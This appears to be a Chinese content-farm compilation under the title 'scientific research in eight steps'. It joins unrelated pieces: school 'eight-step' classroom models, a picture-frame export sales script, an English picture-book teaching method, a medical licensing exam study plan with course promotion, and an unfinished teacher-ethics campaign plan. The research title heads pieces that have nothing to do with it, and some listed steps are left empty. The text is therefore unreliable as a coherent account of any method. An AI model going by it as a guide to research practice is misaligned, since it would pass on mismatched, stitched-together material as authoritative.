科学研究八步走,步步进阶

科学研究八步走,步步进阶（共9篇）

1.科学研究八步走,步步进阶 篇一

南方“八步”课堂些许感受

从湖北到福建，从公立到私立，我走过好几个学校，学校都在谈课改，都想课改，而真正改革者却没有，而南方中学在曾校长睿智的引领下，课改真抓实干，南方教与学方式方法的改革从摸索中发展，现已日臻成熟并形成自己的特色，我们相信成功的哪一天指日可待，殷切希望南方的特色课堂冲出福建，走向全国。这将是一项造福子孙的伟大工程！在课改践行中，浅谈我个人的一点感受。

一、南方课堂凸现学生主体，教师主导，具备科学的理论依据。

教育专家一再呼吁真正的高效课堂体现在学生主体地位与教师主导作用的充分发挥，南方的课堂做到了，老师精心设计提纲，学生依纲自学，小组合作研讨，全组展示，改错，小先生解读，教师相机点拔、强化、小结，分层作业巩固，小测检验效果，每个环节离不开学生主体的参与，老师则以评价为杠杆，引导、激励着学生。当然，我们面对的是活的人，而不是死的工件，在课堂中，难免会有学生出现一些纰漏。如：展示时，要做到“眼观六路，耳听八方”不放过漏网之“鱼”：有的学生“三闲”控制不好，这时，我就会及时表扬做得好的组并加分鼓励，做得不好的组要及时大声向全班通报并扣分，组长就会立即把“违规”组员管好，确保学生高效参与。每项活动进行前要提出相应的要求，对照要求及时评价加分，做到“先说断，后不乱”“好事有人夸，坏事有人抓”。

二、南方课堂培养了学生的综合素质。

我们都知道：一个好的团队离不开默契的合作与良好的沟通，这样才能最大限度地发挥每个人的力量，提高学习效率。我们的课堂就是有意识地培养学生良好的沟通能力与合作精神，在小组的学习中，这些素质得到有效的培养。例如：有时，组长和组员因合作与分工闹别扭，我一看学生表情、脸色，知道有问题，就会走过去引导，教他们学会沟通：“难得同学一场，要珍惜缘分，再说，组长也是为了小组争光，他提醒你参与小组的活动，完全是为了你好，怎么能不领情？要是别人，感谢都来不及，怎么会和组长闹情绪呢？太没风度了吧？小组优秀，你才优秀啊，请合作，多沟通！”组长和组员的苦瓜脸立马会露出笑容并参与到小组活动中。善于沟通与勇于合作只是诸多素质中一瞥。

三、南方课堂是快乐的课堂。

细心的老师会发现：南方课堂上的学生快乐指数很高。君不见，“兵”教“兵”中，当“兵”获得知识时，报以感激之笑；当“兵”的错误被指正时，面露钦佩之笑；上台展示时，面带自信之笑；当发现别组的错误时，简直是欣喜若狂。课堂活起来了，学生会睡觉吗？

记得有一次赶进度，我在九年2班上课时，包说包讲，自以为速度会快，效果会好，但一看台下，除少数几个同学跟我一呼一应外，皆面无表情，很安静地发呆„„这节课下来，我心情很沉重，认真反思：课堂气氛沉闷，学生主体没参与，更不谈什么“高效”。耳畔不由响起曾校长的教导：把课堂还给学生，学生动起来，课堂活起来，效果才有可能好起来！

南方课堂印证了教与学的发展规律，我们将贯彻下去，当然，把每个环节落到实处并有效果，实属不易，“八步”课堂中也有一些困惑，如：有的学生基础太差，加上学生生活体验严重缺失，在有时的讨论中效果不好，讨论效果直接影响着展示效果，少数学生鉴于评价，出现假讨论，而我又无法逐组去辅导（时间也不允许）„„

总之，南方正在做一件别人想做却做没有做到的伟大事业，诚然，路漫漫其修远兮，吾将上下而求索。我庆幸来到了南方这个特殊的学校，我庆幸遇到了南方这样躬行实践的好校长，校长正带领我们向希望之路迈进！我也将与各位同仁精诚团结，共同努力，与学校保持高度一致，将南方“八步”课堂发扬光大。不周之处，请各位同仁批评指正，本人将不胜感激！（彭玉和）

2.八步销售计划 （最终版） 篇二

八步销售计划（ ）八步销售计划1.总结当前情况A.对客户表示欢迎，八步销售计划。对客户表示欢迎时，你并没有做任何销售工作，而是让客户适应周围环境。例如：嗨！你们对展会还满意吧?你看上去挺疲劳的，要不要坐下来休息一会?你要喝水吗?需要我帮你找找你想找的东西吗?你能给我一张名片吗?你打算在中国呆很长时间吗?B.问一些恰当的试探性的问题1.)试探性的问题有助于让客户知道自己想要买的东西是什么。在此阶段，你可以了解客户的需求和需要。对客户所说的东西进行记录以备以后参考。例如：你从事什么行业?你有多少零售店?它们都在哪些地方?你们主营什么产品?在展会上你主要想找些什么产品?你今年有没有找到能为你赢取大额利润的那款产品呢?你做进口生意还是出口生意?你有多少分店和仓库?你进口产品时，一般使用20“小柜还是40”柜子呢?你的客户喜欢用大画面来装饰墙壁还是用很多小画装饰?你认为冷色系还是暖色系比较适合你的客户?你的客户喜欢用独一无二的产品来装饰吗?2.)一个恰到好处的试探性问题有助于判定客户的需求以及需要。例如：你是否有你自己的画芯?有一款产品能够使你的核心事业更完整，你是否有兴趣?你是否希望你店的产品是独一无二的?2.陈述你的观点A.收集到信息后，建议客户购买我们生产的那些符合客户需求的产品和服务。对客户提及的需求以及储备需求以及他的客户的需求进行评估的同时，你的销售过程也就开始了。这个过程可能需要通过发很多天的邮件完成，也可能在贸易展会的几个小时或者几分钟内完成。作为一个销售人员，从客户那争取订单是你的工作。你清楚华鸿的优势、华鸿的产品，你刚刚了解到了客户的需求以及储备需求。你可以给客户推荐你认为客户会想要的产品。建议客户买两件他们表示感兴趣的产品。如果他们同意了，就建议他们再买两件。针对他们的零售或者进口业进行讨论，看是否可以建立一条产品链。客户对你的建议满不满意并不重要。这是帮助客户形成对我们的产品下单想法的起点。如果他们对你的建议并不感兴趣，那就再问几个试探性的问题，并且根据新的信息提出新的建议。每次建议时给出两个选择。如果客户有两个选择，他就能做出决定。如果一次性给予他3个或3个以上的选择，客户就必须花较长时间进行思考。问问题，比如：这些产品怎样才能在你们的市场上畅销?将几个产品结合起来，给客户一个选择。如黑色对白色，大对小，现代对传统。随着客户做出选择，你的订单任务也完成了。对客户感兴趣的所有产品进行拍照记录。回顾客户提到的关于他的业务、客户群以及他们的喜好这些信息，并将这些信息与你所知道的关于华鸿的产品知识连接起来。B.不要害怕给客户推荐产品。许多客户都需要你的建议来做决定。购买商都希望销售人员对他们想要买的产品多进行评价和推荐。作为销售人员，你是华鸿以及华鸿产品方面的专家。当你推荐一款产品给客户时，你必须确信客户对你的建议以及他想买的产品知识感兴趣。如果客户跟你的意见不和，对你推荐的产品并不感兴趣，那就问清楚他的观点。让客户参与到这个过程中，那么产品选择这个过程就会让他觉得生趣盎然。问一些选择性的问题，从而判定客户的喜好。选择性的问题有两个答案，因此任何一个答案都会将我们引入销售过程。例如：你最大的市场是美国还是加拿大?你想用较便宜的密度板框还是经典的纯木框?你想在这张画芯上做金色还是铜色烫铂?你比较喜欢来中国下一个大订单还是直接从美国下订单?如果客户无法做出决定，你就必须给他们提出建议。挑一些符合客户需求的产品，说说你认为客户应该购买这些产品的理由，然后在客户回复之前保持沉默。保持沉默能给客户一定的时间消化你的建议。如果客户认同了你的建议，你的销售就成功了。如果他表示不同意，那你可以从这一点出发重新开始。C.证实你的建议。问客户这是不是他脑中所想的。将客户所想的与你的建议衔接起来。你必须得到客户口头上的认可，不然的话，你就无法确信你能拿下这个订单。你必须与客户确认这个订单的细节，跟客户再审查一边这个订单的信息，确保客户所想的与你想的是一样的。当销售发生在两种文化语言之间时，在继续之前，确认这些细节是很重要的。如果你相当热的认为自己知道客户想要的是什么，然后就进行到下一步的话，完成这次销售就会有困难。你必须清楚客户的需求。确认客户的需求就能帮助你清楚客户的需求。在继续谈论下一款产品之前，你必须跟客户确认他要买的每一款产品。拍下框条，烫铂颜色，卡纸以及画芯，有玻璃的也要拍下来，以备以后确认时用。如果客户说YES，那么你就可以确认这个订单了，如果他们说NO你就需要和客户重新确认一次。任何问题如果之前没有跟客户确认好，都可能会影响未来你和客户之间的合作。确认可以减少问题并且让客户更信任你，知道你明白他们的需求。我们不是在销售艺术产品，而是在销售我们的商务关系，以及第一次就能将工作做好的能力和信心。在形式合同里写任何条款之前你必须要确认好订单。如果客户对部分订单内容、下单日期、装运日期和付款方式不满意，你需要就订单细节上和客户再次沟通确认。你必须知道对客户来说什么是最重要的，处理好这一切，然后再进入下一个环节。在将形式发票送交上级签订前，必须处理好所有的细节，直到让客户满意为止。如果陷入僵局，请看第5步处理问题部分。3阐述：主要特征，有利点和优势。A.特征即是产品的特质，产品由什么做成的，木线条/pS线条/pE线条/pVC线框/pU镜/漆画/皮画/画框。B.有利点就是有利于客户和产品的特征。有利点是消费者购买那一部分，是特征给产品带来益处，确保你的销售陈述包括了产品的有利点和特征，销售工作计划《八步销售计划》。木线条让人看起来既高质量又高价值。pVC线条，成本低，质量也高。pS线条，经济实惠，可以按客户要求做不同形状，修饰成不同颜色。销售人员应该以满足客户需要的方式呈现有利点，用些如高质量，低成本，客户导向型产品和按时交货等术语来表示。C.对客户有利点就是客人受益于所购买的产品例如：客人购买木相框是因为其工艺优雅。4.订单完成检测订单完成检测就是判定客户是否真的打算买。你可以从客户询问谈话中得出重要的信息。通过询问客户关于该订单一些并非至关重要的问题，你可以对该客户进行完成检测。当你知道客户同时对几个产品感兴趣时，你要选择以一个产品先开始洽谈，确认好这一款后，再开始下一款，然后再下一个，再确认。当客户对一些非重要细节表示肯定时，你已为开始销售做好了准备。如果客户接受你的报价时，你就开始了销售。如果客户同意支付样品的运费时，你就开始了销售。当全部细节都讨论完毕时，你就接到了这个订单。5.解决异议4步骤在订单完成检测中，如果第一次你们没有确定订单，客户就会有异议，在结束订讨论前，所有的异议都必须处理好。异议是对一个计划、主意和产品的担忧、反对或者争论。出现异议并不意味着订单进程中断，而是意味着这些异议需要销售人员去处理，并且在进入到下一步之前让客户满意。每个异议都是一个销售机会，处理异议也就是根据它们销售，将每个异议转换成一个销售点并且将异议转变成有利点。例如异议.：这种框的价格对我们的市场来说太高了。处理方法：这种木框可以做成两种颜色，你说过要销售更高质量的产品，从而进入高质量市场，你提及过相对于这个价格来说，这种框还有附加值。对于你正在寻找的产品，这个价位的框能否给你的一系列产品一种带有附加值的形象?这就是你订单中10个相框的1个。高价格框的成本增加并不会影响你订单的总成本，因为从你的收银台就可以看出我们产品的附加值。A.判断真正的异议。真正的异议就是客户决定下单之前，你必须解决的问题。通过再次跟客户确认，你可以弄清楚真正的异议。再次跟客户确认异议可以让客户知道你已经明白了他的观点。这样就给客户一个详细说明他的异议的机会，因此当你处理这些异议时，你也可以收集到一些有价值的信息。重复说明：你的订单必须在2008年10月10日或者之前装运吗?你不承担货物在装运过程中发生的任何损失?你是否希望90天之内一直保持价格不变?通常异议不止一个，收到一个异议后，问客户是否还有别的异议。客户向你提出几个异议时，你必须将它们分清主次，并且一次性处理好。通常情况下他们提出的第一或第二个异议并不是他们的真正异议。B.理解异议。你必须对所有的异议有彻底的理解。在你处理所有的异议和达成协议之前，你必须对异议理解透彻并且和客户的理解是相一致的。理解异议一般可以通过引导性问题，重申，停顿和探索性问题。1)一般引导性问题给客户很大的空间，对客户不会造成威胁。你打算很快来义乌吗?请告诉我今年你想将哪些产品增加到你的系列产品中去?你计划什么时候将漆画提供给你的客户?2)重申异议能反应出你对客户需求的理解，通过重申这些异议也能确定你真正理解客户的需求。这也给客户一次机会详细解释他的异议并再次确认。你想买的是皮画而不是漆画，对吗?你想要一个质高价廉的画框?在你们的市场，一个相框的价格不能高于1美金吗?3)停顿给客户充足的时间去回答你的问题，同时你也能从客户那里收集信息，在这个过程中，客户应该承担大部分的谈话。在问了主要问题和重申异议后，保持沉默，让客户考虑一下并进行回复，在这种情况下客户会回答说出他们自己真正的异议。4)探索性问题限制了客户的回复并且引导客户进行准确的回答，它的目的是让客户详细讲述他的异议。我们的付款方式是30%定金，在货物装运时安排余款,这个贵公司同意吗?贵公司的墙壁装饰品年销售额占总年销售额的比例是多少?我现在报的价格是按每一项产品一个20尺柜来报的，请问这正是你需要的价格和数量吗?C.和客户一起核对异议。这样可以保证你和你的客户对异议理解一致，核对异议让销售人员和他们的客户更清楚什么该处理好，以便进入销售环节。核对异议促使客户详细解释并证实他的目标。在核对陈述过程中你可以提及这些异议，这样也就告诉你的客户你们正在处理哪一项异议。以下是如何开始一个核对异议的例子：“你正判定的是为什么。”“然后你真正想知道的是。”“你的交货期必须是。”"在这些产品的价格已经OK，但是这两款画框对你的客户来说太贵了，怎样才能降低成本呢?核对异议让买卖双方知道真正的异议已经确定，并且在继续进行下去之前，你和客户都必须清楚必须解决什么问题。D.处理异议。目的是解决客户实际关注的问题并且让客户满意，让客户满意地处理异议必须做好以下3件事情：1)熟悉你的产品、你的客户以及你的同行竞争者，从你的同事、工厂技术专家，贸易杂志和个人经历中收集信息。2).熟悉技巧。包括将异议转换成一个销售点并且转换成一个有利点的技巧。每个异议都是一次销售机会，处理这些目标就是针对它们进行销售，通过将异议转换成销售点再转换成有利点。3).精确是说既不要讲的过多也不要讲的过少，只要提供足够的信息就能达成协议。6.总结A.通过建议客户买什么告诉客户该买什么。用选择性问题将客户连接到销售点上。一次性处理异议直到说服客户购买你的产品。B.如果你没有拿到订单请看1.B 7.争取额外销售A.额外销售即是一种不通过销售人员努力就不会有的销售。对客户的业务进行分析，我们能不能给客户提供一些别的产品或是服务呢?B.多种报价。如果客户想要漆画的报价，加一些皮画报价和玻璃相框的报价。几个月后你可能会接到客户来电说要皮画。8.下单之后A.作为一个销售人员，你应该负责订单的整个过程，直到完成为止。生产监督，质量控制和装运过程你都要参与，有任何问题出现请找到合适的相关人员来处理。在解决问题时要始终尊重你的合作伙伴，即使是他们造成了问题也要尊重他们。他们可能就是能帮你解决问题的人。关键在于解决问题的方法，而不是问题发生的原因。B.任何问题要及时联系你的客户，在生产过程中要监督订单的执行。在生产过程中要给客户发送进展报告并且确认好装运日期，包括一些产品生产图片。C.评估你的表现。查看销售过程的每个环节，什么进展得很平稳，哪里遇到了问题?你怎么去处理问题?你是否掌握了解决问题必须的全部信息和工具?D.做好一个适合自己的销售计划。当你有了经验，将八步销售计划与自己的个性，销售技巧，产品专业知识和工作经验结合起来，可以使你的销售风格与众不同。收集有用的客户信息，做合理的推荐细节，服务好客户。

3.四环八步教学模式解读 篇三

“四环八步”教学模式是一个立体教学结构。这种教学模式下的课堂是学生自主学习、展示自信、收获快乐的课堂，是成功的课堂。在这种课堂上学生积极主动、生动活泼，学生都能积极参与，勇于彰显自我，每一个学生都充满自信，学生自主、自信得到了真实的体现。“四环八步”的课堂教学是条线科学构架，他们的课堂是活而不乱，动静结合，井然有序，具有丰富内涵和生命力。真正地做到了“学生动起来，课堂活起来，效果好起来”。

语文、数学、外语、物理、化学要在充分预习下（预习学案）组织课堂教学；史地政生可以不用预习，课上出示学习目标。

学生方面：

学习流程四环：自主预习------自学展示------合作探究------检测评价。

课堂45分钟向课前、课后延伸，形成课前、课中、课后为一体的大课堂。

课前：预习自学。课前学生预习教材，自己疏通一遍教材内容；通研导学案（预习作业），在导学案的引领下与生活经历挂钩，进一步理解教材，重新构建知识体系；小组长做好组织管理，确保每个成员充分预习，并找出需要课堂讨论的问题。

课中：高效课堂。每个学习小组针对自学中发现的问题，确定讨论目标，合作探究解疑；课堂结束，小组长对每个成员的学习效果进行评分、总结。

课后：训练拓展。课后拓展、预习，小组长自主确定时间，带领全体成员按要求分层达标，限时完成，向老师反馈交流。

学习方式：独学、对学、群学。

独学：学生自主学习，发现学习疑难。

对学：以小组为单位，同等学力的同学进行讨论。群学：在组长的组织下，展示学习成果。教师方面：

课前备课：备学习目标，备学情，备学法指导。

导学案为主导、问题为主线、活动为主轴。围绕“学”，重在“导”，导是手段，学是目的。问题为主线：围绕课堂暴露出来的问题，“拓”“挖”“思”“悟”，既要抓住问题，认真探究，又要做到不厌其烦、“无限”放大、不彻底解决问题誓不罢休。活动为主轴：包括三动，身动、心动、神动，一切围绕 “学”而动，在组与组、生与生、生与师之间互动交流。

教学模式基本流程：

课堂流程：八 步

导入新课→预习检测（明确目标）→问题导航→自主研学→分层展示→合作探究→拓展提升→效果反馈

↑

↓

1、导入新课：

好的开端是成功的一半，导课要激发学生的求知欲，充分调动起学生学习兴趣。导课三言五语，简洁明了。

2、预习检查：

课上检查学生对新课的预习情况，可以采取不同方式，如小组代表板演式、学生汇报式、集体订正式等。

明确目标：

课堂出示学习目标，师生围绕学习目标开始本节课学习。

3、问题导航：

4、自主研学：学生自主研学，通研教材，思考启发性问题，自学任务完成后，完成当堂导学题目，检验自学效果，找疑难，查不足。

5、分层展示：

6、合作探究：小组长组织本组成员先一对一进行分层讨论，然后小组内部交流讨论。学习小组长组织小组的每一个成员积极参与，讨论将要展示的内容、自学中遇到的困惑；

7、拓展提升：老师深入小组参与学生讨论，及时发现问题，组织教学进程。点评、质疑是深挖教材、生成目标的关键，可点评思路、总结规律，可质疑不同思路、不同方法。

8、效果反馈：对所学内容进行总结梳理，反思学习目标的达成情况，对所学内容进行巩固、深化，为此进行当堂检测。通过这一环节检验学习效果，为小组打分评比，激发学生学习热情，把每一堂课、每一个环节都变成对学习小组打造的过程，同时为下节课做准备，形成循环大课堂。

教学模式把课堂话语权还给了每一个学生，“合作”和“展示”环节为学生的交流合作提供了广阔的平台。展示更符合人的心理规律——因为每个人都有被人尊重需要，特别是被同伴尊重的需要。这个展示的舞台满足了孩子的心理需求。因而化成了学生的行动，使学生的主体地位真正得到落实。

4.英语绘本八步教学法 篇四

通过我们独创的八步学习法，一本好的绘本能让孩子学到很多 一听：

听的输入是基础，包括听相关歌曲、绘本录音和英文讲解，反复听，有意识输入和无意识输入结合； 二说：

重点句型为孩子营造比较真实的语境，让孩子在表达的过程中进行自然习得； 三读：

跟着读就行，家长千万别问这是什么意思； 四模仿：

角色模仿，更重要的是语音语调的模仿； 五游戏：

游戏是孩子最喜欢的人学习方式，通过游戏来强化输入和输出，将学习融入到游戏中效果非凡； 六表演：

把前面的内容，包括听到的和游戏学到的表演出来； 七拼读： 培养语素意识； 八拓展：

5.科学研究八步走,步步进阶 篇五

张金生

“八步教学法”是我校在深入研究名校名师经验基础上，依据现代教育理论，经过多年的实践，探索出的一套行之有效的课堂教学方法，适用于初中所有文字学科的课堂教学，理论上科学，操作上可行，经过实践检验，效果上显著。是一套比较成熟的，符合现代教学理念和新课程观的先进教学方法。经过网上检索，目前还没有发现国内与此相同的方法，具有独创性。

按照新授课的一般顺序，“八步教学法”的八个步骤依次是：检查预习、导入新课、揭示目标、呈解提纲、自学自练、答疑解惑、归纳小结、布置预习

运用八步教学法时要注意的问题：

1）把好预习检查关。有效的预习是许多名师名校成功的诀窍，保证预习的质量是培养学生的预习习惯和能力，提高课堂效率的关键，因此对预习情况的检查必须到位，可以课前教师、科代表或小组长抽查，课上检查时以组长检查、组内互查为主，检查时教师必须巡视，掌握情况，不走过场。必要时进行小测验，测验的内容要少，应该是一般学生只要真正预习就可以掌握的基础知识。这一步的时间一般控制在5分钟左右。

2）重视新课导入环节。好的引入是成功的开始，教师要以生动有趣的语言创设情境，提出疑问，以激发学生的求知欲望，并为揭示目标做好铺垫，不得忽视这一步的作用，在备课时就必须考虑好什么样的语言，怎样的事例可以达到理想的效果。这一步的时间掌握在2分钟左右。

3）准确揭示目标。揭示目标是必不可少的一步，但不应该是流于形式，一带而过的投影或费时费力的板书，都不如教师的语言强调更重要，要力求做到省时省力，学生印象深刻，无论板书的还是投影的目标，都不能一念了之，应该强调重点目标，一般情况下，可以结合新课导入环节，在布置本节课的学习任务时口述目标，必要时板书关键字。这一步的时间掌握在1分钟左右.4）提纲的呈现要科学。自学提纲是教师备课时精心设计的，学生自学的路标，是自学成功的关键所在，好的提纲可以提高学生的自学效率、自学热情，保证自学质量，提纲的内容应该具有很强的导向性，使学生很明确的知道干什么，怎么干，比如结论或答案写书上还是做本上？是独立完成还是讨论完成？应该在多长时间完成？都应该让学生清楚。提纲的文字量应该适当，尽量做到既简单明了，又能让学生顺畅的按照提纲完成自学任务，过繁过简都会影响自学的效果。提纲的设置应该为实现教学目标服务，既突出重点，又能够突破难点。在学生自学之前，教师要对提纲进行说明，明确具体要求。提纲设计时最值得注意的是预习部分已经解决的问题，不要在接下来的自学当中过于重复，要着重突出重点，解决难点，所以教师在解说提纲，提出自学要求时，要根据预习检查的情况进行取舍，灵活处理，不能过于死板，提纲要体现分层推进。这一步的时间一般掌握在3分钟左右.5）组织高效率的自学自练。这是课堂结构的主要部分。这里的自学指的是非教师讲解下的学习，既包括学生独立自学，也包括学生间的交流讨论。这是新模式下课堂的最主要部分。学生自学时，教师的主要任务一是督促所有的学生都学习，特别要鼓励后进学生参与学习，二是通过巡视检查自学情况，发现自学中存在的问题，个别问题，小组内讨论时解决，共性的问题留待统一解决，这里要注意规定好，哪些是自己独立自学的内容，哪些是合作解决的问题。

新课的特点之一是课上的足量练习，当堂反馈，课上基本解决与本课相关的所有练习题和习题，很少再布置课外的作业，训练时间要有保证，基础知识的自学时间不能过长，必须留出足量的课堂训练的时间，有些学科的题目可以穿插在提纲中，边学边练，通过做题印证知识的掌握程度，也可以把训练放在基础知识之后，集中训练。何种方式应依情而定，一般的，出现先边学边练，然后集中解决习题的情况比较多。

练习量既要足，又要让大多数人规定的时间内完成，题目应该分出必做的基础题和选作的提高题，不同的学生作出不同的要求，以利于分层推进。

这一阶段，教师的任务是巡视，一要通过巡视督促、鼓励所有的学生都积极参与学习，不漏掉一个学生，二是通过巡视调控自学进度，三是通过巡视发现存在的问题。这里还要特别注意的几点，巡视时教师不要停留在某组给学生讲题，不懂不会的问题，一律留给小组解决，难度大的可以适当提示，但绝不要讲解，这是特别要注意的，教师要掌握那些小组集体讨论，教师提示之后还不能解决的问题。这一步的时间一般掌握在15分钟左右。

6）做好答疑解惑和知识归纳。这个阶段有分为两个部分，一是小组内交流互查，存在的问题主要以兵教兵的办法来解决，通过兵教兵，绝大多数问题都能解决。此时教师的主要任务仍然是巡视，通过巡视掌握小组内解决不了的问题，并适当给与提示。二是对小组集体讨论，教师提示之后还不能解决的问题，应该是难度较大的选做提纲或题目，而且多个小组都可能会存在同样的问题，这样的问题就需要讲解了。

讲解时要注意，一是不讲学生自学已经解决的问题，只讲小组讨论还不能解决的问题。二是这里的讲，也不是单一的教师讲，能够让学生讲的尽量让学生讲。需要强调的是，学生也不要讲那些已经通过自学已经弄懂的问题。三是对优秀生进行必要的拓展性训练。这一步的时间一般掌握在10分钟左右。

7）对本节知识的归纳，能让学生完成的，也尽量让学生来完成，教师可以设计板书知识框架（知识树）让学生填，甚至可以让学生自己设计知识框架，教师引导学生补充。这一步的时间一般掌握在5分钟左右

8）合理布置预习任务。这是对以往的作业布置的革命。本节课的练习和习题基本上在上节课的预习和本节课的训练中完成了，没完成的可以让一部分优等生学生选做，也可以暂时不做。课上答疑归纳之后，剩余时间应该组织学生预习下节课的内容，没有时间的话，也要布置必要的预习作业，预习作业的量不要太大，难度要低，注重基础，要布置一般学生只要认真自学就能完成的预习任务，要便于下节课的检查，可以分出层，不同的学生做不同的要求。这一步的时间一般掌握在4分钟左右。

6.引用执业医师考试八步复习法 篇六

八步学习法(学员版)

--如何做到听课与看书做题相结合第一步充分准备，周密计划

过关=全力付出+必胜决心+充分准备+信息资料+老师指导。

如果想通过20医师资格考试，请做好以下10件事情

1.列好一个详细的学习计划，保证每天学习不少于2小时，每周6天足矣;

2.调整心态，克服心浮气躁的毛病。世界上从来没有救世主，要知道“买答案”是要被骗的，“保过”是要被忽悠的;

3.5月1日前必须全面进入全面、正规的复习状态，再晚黄花菜就凉一半了;

4.准备好一套适合自己的辅导书，包括技能教程及光盘、笔试讲义、历年考题、5000题、模拟试卷等。

5.先从笔试开始复习，中间穿插技能，而不是先复习技能再复习笔试;

6.先复习基础科目(不含公共科目)或者临床科目与基础科目同步进行，而不是先复习临床科目;

7.养成不在习题书上做答案的习惯。搞一个错题本，错题至少要做三遍，并且要通过看书或听课把错题涉及到的知识点彻底搞懂;

8.把一章学懂学透了再进行下一个章节，切记水过地皮湿，图快。靠划重点就能过关的时代已经一去不复返了;

9.虚心、再虚心接收老师指导，有名师导航可以事半功倍。颐恒老师网络课堂是首选，自制力差者可以参加面授班，最保险的办法是打包都参加。网络课堂气氛不足和面授课堂不能重复的问题都解决了。无论老师讲得多好，还需要靠自己主动付出努力。

10.找一个现实中的学习伙伴(不能是网络虚拟网友)，共同进步，相互监督，局部营造一个浓厚学习氛围。

以上十条，没有哪条最重要。年底算总帐的时候，再对照一遍。过了，那就起码做到了6条以上，没过，起码有4条没有做到。本校的正式学员(包括网络和面授)必须无条件做到!

第二步：开卷评估，感受考题思路和风格

在听网络课堂前完成一套模拟试卷测试。记住，执业600道题必须在两天内完成，不能停顿，更不能1天完成。助理则必须在1天内完成。

八步复习法的首要是知己知彼，“知己”就是了解自己目前的基础和水平，“知彼”就是了解考题的难度和命题风格。“临床执业(或助理)医师资格考试复习前专用测试试卷”以新考试大纲考核目标为依据，结合考题精心设计而成。如果只把它当作一套普通的试卷随随便便做做，效果折扣50%。以下注意事项切记，

1.独立完成，不要翻书。不会很正常，蒙答案也没关系;

2.在规定的时间内完成，边做题边体会命题风格是检测的目的。

3.哪道题的答案纯粹是蒙的，别忘了用“×”做个标记，哪道题是犹豫不决的，用“?”做个标记。记住：这种标记法在以后做任何习题都要用到，因为画“×”、“?”就是你的薄弱环节，提高分数就靠这些错题不再出错。

4.把直接在书上做答案的习惯改过来，因为所有的题还需要做第二遍。埋怨资料太少、题太少都是因为直接在书上做答案造成的。

5.完成后评估分数不是主要的，其实在做题的过程中心里就已经有个大概。

6.测试的目的是评估目前的水平，没必要当即追究每道题的正确答案，因为9月初还要做一遍，到时再追究不迟。

第三步：分科分章节考题练习，把握命题规律

八步复习法的核心是先了解考什么，再带着问题去听课、看书。所以要求考生先做题，了解哪些是考点?哪些是难点?哪些题容易出错的?知道这些后再去看书的效果和传统的看书→做题→看书之复习法相比，不可同日而语。

具体方案就是以章或某个系统为单位，先不看书而是直接做历年考题，做完本章或某个系统的全部考题后再听课、听完课后再复习该章节教材内容。一章一章地循环。

千万不要以为还没有复习就做题会耽误时间，甚至认为做题也是蒙答案。实际上这一步的关键在于把握考点，并不在于做对多少题，正是这一步可以解决传统复习方法的障碍--书看完第一遍后，一做题就会发现第一遍书等于白看。需要注意的是，做对了某道题，说明掌握了这个知识点(蒙对的不算)，错题无疑是自己的薄弱环节。通过做题把握本章出题的重点、难点。例如：诊断学第一节“发热”，做完考题后就不难发现常考的知识点就两个：稽留热和弛张热的定义和临床意义。当然高热和低热是必须掌握的，但不会直接在本章出题。

第四步：听课、研读教材，突破难点，把握考点

第三步让我们知道了考点在哪里?接下来就是按照考点的方向和带着那些问题去听课和研读教材。以某学科一个章为单位开始，如生理学，完成第一章电生理的全部习题后，立即听课，注意听课时要跟再校学习一样，边听边做笔记，听完课后随即看书复习，这一步的目的是建立一个完整的知识体系，同时发现自己的薄弱环节。

听课注意事项：登陆“金英杰医考讲坛”网站(www.jinyingjie.com)，可以边听课边下载课件，这样你不会觉得下载速度慢。我们要求学员尽量在晚上休息时间下载，并且要用全屏格式观看，通过音响播放最好，最忌讳带耳机听。

注意：在听课和研读教材过程中要注意把《历年考点解析》涉及到的难点勾画出来，(就是那些当初没有做对的题，包括蒙对答案的题。通过系统复习(是仔细的.过了一遍而不是走马观花)和勾划考点、难点，使自己注意到了那些做题过程中没有掌握的知识点。这时你会发现，一章的考点和难点一目了然。哪里不会可以通过重复听课和看书来解决。

“金英杰医考讲坛”授课以以后的真题为主线，揭示命题方向，指明考核重点、难点，实现了知识点与考题融合，让考生真正掌握知识，而不是单纯的画重点的复习模式，让考生体会到无论谁来出考题都是万变不离其宗。オ

第五步：考题再练，牢固掌握

把《历年考点解析》再做一遍。结合解析，梳理本章考点是第五步的目的。遇到不明白之处可以通过重复听课和看书解决。

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第六步：强化练习，攻破考点

历年考题没有涉及到大纲新增内容，可以通过“知无涯”《临床执业医师资格考试考前冲刺必练5000题(或3000题》再次强化，争取牢固掌握，同样需要把错题标记出来。

特别说明：每一章从第三步和第六步循环一遍，直到最后。

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第七步：整理易错题

关注错题、避免再错是提高得分的关键步骤。把以前的错题再做一遍(以前做对的题就没有必要再耽误时间了，前面告诉大家划叉和画勾的作用就显现出来了)。复习一遍后，切忌又从头再来，时间已经不多。把前面做好了标记的错题)。你会发现，即使当时重点注意了这些错题，做第二遍甚至第三遍差错照样还很多。

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第八步：模拟测试，拾遗补缺。

一般安排考试前两周左右，选择3~4套模拟试卷。关键是要选好一套模拟试卷，否则结果适得其反。最后准备考试阶段可提高10~20分。大家可以选用第四军医大学版《考前摸底测试卷》(7月份推出)。前七步没有完成前切忌安排模拟测试。

总之，八步复习法与之最大的区别在于教材与历年真题相结合，强调计划并从真题着手直接切入考点，其步骤为：计划→评估考卷→做真题→听课，总结考点/难点→复习教材→找薄弱环节→模拟测试。同时强调通读一遍教材，并且把通读教材的程序放在中间，其目的是避免无的放矢的漫读。

7.科学研究八步走,步步进阶 篇七

2014年师德师风教育活动实施方案

为深入贯彻落实“十八大”及十八届三中全会关于教师队伍建设的重要精神，进一步加强我街道师德师风建设，提高全街道师德水平，根据织教字【2014】15号文件精神，结合实际，特制定本方案。

一、指导思想

以邓小平理论、三个代表重要思想、科学发展观为指导，落实县教育工作会议精神。坚持立德树人，以“敬业爱生、为人师表”为核心，以提高教师思想政治素质和职业道德水平为重点，努力提高办学管理水平和教育教学质量，办人民满意的教育。

二、工作目标

认真落实 “加强教师队伍建设，提高师德水平和业务能力，增强教师教书育人的荣誉感和责任感”，以解决教师队伍当前在师德师风方面存在的突出问题为突破口，以发扬“贵州教育精神”、“履行教师誓词”、实施“三个践行”为主要内容，以“我的教育梦“为主题，大力开展师德教育活动。不断提高教师道德理论水平。

三、开展活动

（一）理论学习

以党的群众教育路线为为契机，以师德教育为切入点，采取集中学习、辅导讲座、交流讨论，个人自学等多种形式组织教师开展理论学习，1

学习内容为《新课程：教师如何提升职业道德修养》等中小学教师继续教育教材、《教师法》、《教育法》、《义务教育法》、《中小学教师违反职业道德行为处理办法》、《中小学教师职业道德规范》、《贵州教育精神》、《贵州教师誓词》、“十个不承诺”。不断提升教师的理论水平。

（二）活动形式

